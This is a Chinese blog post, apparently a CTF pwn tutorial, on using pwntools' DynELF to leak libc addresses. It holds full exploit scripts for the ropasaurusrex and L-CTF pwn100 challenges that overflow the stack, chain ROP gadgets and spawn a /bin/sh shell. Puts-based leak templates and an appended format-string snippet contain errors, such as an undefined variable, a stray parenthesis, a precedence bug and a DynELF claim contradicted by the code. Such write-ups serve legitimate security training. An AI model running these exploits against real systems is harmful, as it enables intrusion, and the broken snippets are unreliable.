DynELF

22 篇文章 4 订阅

我用三生的期许 换回三世相思雨
三千浮沉里的你 迷失轮回的自己
https://cc-sir.github.io/2019/01/29/dynelf/

简介

对于不同版本的libc,函数首地址相对于文件开头的偏移和函数间的偏移不一定一致;如果题目不提供libc,我们通过泄露任意一个库函数地址计算出system函数地址的方法可能就不太方便了,所以这就要求我们想办法获取目标系统的libc
这里介绍一种远程获取libc的方法,叫做DynELF,这是pwntools在早期版本就提供了一个解决方案——DynELF类;
通俗地讲,DynELF就是通过程序漏洞泄露出任意地址内容,结合ELF文件的结构特征获取对应版本文件并计算对比出目标符号在内存中的地址


模板

p = remote(ip, port)
 
def leak(addr):
       payload2leak_addr =****+ pack(addr) +****”
       p.send(payload2leak_addr)
       data = p.recv()
       return data
 
d = DynELF(leak, pointer = pointer_into_ELF_file, elf = ELFObject)
system_addr = d.lookup('system', 'libc')
read_add = d.lookup('read','libc')

局限

使用DynELF时,我们需要使用一个leak函数作为必选参数,指向ELF文件的指针或者使用ELF类加载的目标文件至少提供一个作为可选参数,以初始化一个DynELF类的实例d。然后就可以通过这个实例d的方法lookup来搜寻libc库函数了;
其中,leak函数需要使用目标程序本身的漏洞泄露出由DynELF类传入的int型参数addr对应的内存地址中的数据。且由于DynELF会多次调用leak函数,这个函数必须能任意次使用,即不能泄露几个地址之后就导致程序崩溃。由于需要泄露数据,payload中必然包含着打印函数,如write, puts, printf等;
而通过实践发现write函数是最理想的,因为write函数的特点在于其输出完全由其参数size决定,只要目标地址可读,size填多少就输出多少,不会受到诸如‘\0’, ‘\n’之类的字符影响;而puts, printf函数会受到诸如‘\0’, ‘\n’之类的字符影响,在对数据的读取和处理有一定的难度


例子

我们以2013-PlaidCTF-ropasaurusrex这个实例来看看DynELF方法的使用,以及write函数在DynELF方法中的用法
我们先checksec检查其保护机制:

sir@sir-PC:/2013-PlaidCTF-ropasaurusrex$ checksec ropasaurusrex
[*] '/2013-PlaidCTF-ropasaurusrex/ropasaurusrex'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

现在我们看看write函数能不能在程序中实现任意地址的读取打印,通过测试我们可以知道栈溢出到EIP需要140个字节

Python 2.7.15 (default, May  1 2018, 05:55:50) 
[GCC 7.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> p = process('./ropasaurusrex')
[x] Starting local process './ropasaurusrex'
[+] Starting local process './ropasaurusrex': pid 21128
>>> elf = ELF('./ropasaurusrex')
[*] '/2013-PlaidCTF-ropasaurusrex/ropasaurusrex'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
>>> payload = 'a'*140 + p32(elf.plt['write']) + p32(0) + p32(1) + p32(0x8048000) + p32(8)
>>> p.sendline(payload)
>>> p.recv()
[*] Process './ropasaurusrex' stopped with exit code -11 (SIGSEGV) (pid 21128)
'\x7fELF\x01\x01\x01\x00' #这里很明显可以读取到0x8048000位置的内容
>>> 

所以我们的leak函数可以这样写:

def leak(addr):
    payload = 'a'*140 + p32(elf.plt['write']) + p32(start_addr)
    payload+= p32(1) + p32(addr) + p32(8)
    p.sendline(payload)
    context = p.recv(8)
    print("%#x -> %s" %(addr, (context or '').encode('hex')))
    return context

因为程序当中没有"/bin/sh"字符串,所以我们不仅需要system函数泄露出来,还需要将read函数泄露出来,方便我们写入字符串

d = DynELF(leak,elf = elf)
system_addr = d.lookup('system','libc')
read_addr = d.lookup('read','libc')
print "system_addr: " + hex(system_addr)
print "read_addr: " + hex(read_addr)

EXP

所以exp就这样写:

from pwn import *
pro = './ropasaurusrex'
p = process(pro)
elf = ELF(pro)
start_addr = 0x8048340

def leak(addr):
    payload = 'a'*140 + p32(elf.plt['write']) + p32(start_addr)
    payload+= p32(1) + p32(addr) + p32(8)
    p.sendline(payload)
    context = p.recv(8)
    print("%#x -> %s" %(addr, (context or '').encode('hex')))
    return context
d = DynELF(leak,elf = elf)
system_addr = d.lookup('system','libc')
read_addr = d.lookup('read','libc')
print "system_addr: " + hex(system_addr)
print "read_addr: " + hex(read_addr)

p.sendline('a'*140 + p32(read_addr) + p32(system_addr) + p32(0) + p32(elf.bss()+100) + p32(8))
p.sendline('/bin/sh\x00')
p.interactive()

小结

DynELF泄露函数方法最方便的使用情况是程序中最好含有write函数等输出函数且可以多次反复调用,并且DynELF找的是字符串…

L-CTF-2016 pwn100

# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
name = './pwn1'
elf = ELF(name)
p = process(name)
#p = remote("111.198.29.45",30617)

if args.G:
    gdb.attach(p)

pop_ret = 0x0400763
def leak(addr):
    payload = 'a'*72 + p64(0x0400763) + p64(addr) + p64(elf.plt['puts']) + p64(0x40068e)
    payload += (200-len(payload)) * 'b'
    p.send(payload)
    p.recvuntil('bye~\n') 
    up = ""
    count = 0
    buf = ""
    while True:
        c = p.recv(numb=1, timeout=0.3)
        count += 1
        if up == '\n' and c == "":  
            buf = buf[:-1] + '\x00'
            break
        else:
            buf += c
            up = c
    data = buf[:4]  
    log.info("%#x => %s" % (addr, (data or '').encode('hex')))
    return data
  
d = DynELF(leak, elf = elf)
system_addr = d.lookup('system', 'libc')
success("system_addr: " + hex(system_addr))
payload = 'a'*72 + p64(0x0400763) + p64(8) + p64(0x0400761) + p64(elf.bss()+0x100) + p64(1) + p64(elf.plt['read']) + p64(0x40068e)
payload += (200-len(payload)) * 'b'
p.send(payload)
p.send("/bin/sh")

payload = 'q'*(72-7) + p64(0x0400763) + p64(elf.bss()+0x100) + p64(system_addr) + p64(0x40068e)
payload += (200-len(payload)) * 'b'
p.send(payload)
p.interactive()

PUTS函数

参考

puts输出完后就没有其他输出

def leak(address):
  count = 0
  data = ''
  payload = xxx
  p.send(payload)
  print p.recvuntil('xxx\n') #一定要在puts前释放完输出
  up = ""
  while True:
    c = p.recv(numb=1, timeout=1)
    count += 1
    if up == '\n' and c == "":  
      buf = buf[:-1]             
      buf += "\x00"
      break
    else:
      buf += c
    up = c
  data = buf[:4]  
  log.info("%#x => %s" % (address, (data or '').encode('hex')))
  return data

puts输出完后还有其他输出

def leak(address):
  count = 0
  data = ""
  payload = xxx
  p.send(payload)
  print p.recvuntil("xxx\n")) #一定要在puts前释放完输出
  up = ""
  while True:
    c = p.recv(1)
    count += 1
    if up == '\n' and c == "x":  #一定要找到泄漏信息的字符串特征
      data = buf[:-1]                     
      data += "\x00"
      break
    else:
      buf += c
    up = c
  data = buf[:4] 
  log.info("%#x => %s" % (address, (data or '').encode('hex')))
  return data

在信息泄露过程中,由于循环制造溢出,故可能会导致栈结构发生不可预料的变化,可以尝试调用目标二进制程序的_start函数来重新开始程序以恢复栈.

  • 4
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 6
    评论
字符串拼接在pwn中是非常常见的,可以用于构造payload,实现漏洞利用。下面是一个简单的例子,演示了如何使用字符串拼接实现pwn: 假设有一个程序存在格式化字符串漏洞,我们需要构造一个payload来执行system("/bin/sh")。首先,我们需要获取system函数的地址,可以使用pwntools中的DynELF模块来实现: ```python from pwn import * p = process("./vuln") # 启动程序 elf = ELF("./vuln") # 加载程序 # 获取system函数的地址 system_addr = elf.sym["system"] ``` 接下来,我们需要构造payload。由于格式化字符串漏洞是通过将格式化字符串作为参数传递给函数来触发的,因此我们需要构造一个包含system函数地址的格式化字符串。具体来说,我们可以使用"%n$"来引用参数列表中的第n个参数,从而实现读取任意地址的数据。例如,"%12$n"表示将当前已经输出的字符数写入参数列表中的第12个参数所指向的地址中。 ```python # 构造payload payload = p32(elf.got["printf"]) # 将printf的GOT地址作为第一个参数 payload += "%{}x%12$hn".format(system_addr & 0xffff) # 将system地址的低16位写入printf的GOT地址 payload += "%{}x%13$hn".format((system_addr >> 16) & 0xffff - (system_addr & 0xffff)) # 将system地址的高16位写入printf的GOT地址+2 ``` 最后,我们只需要将payload发送给程序即可: ```python # 发送payload p.sendline(payload) p.interactive() # 进入交互模式,可以手动输入命令 ```

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值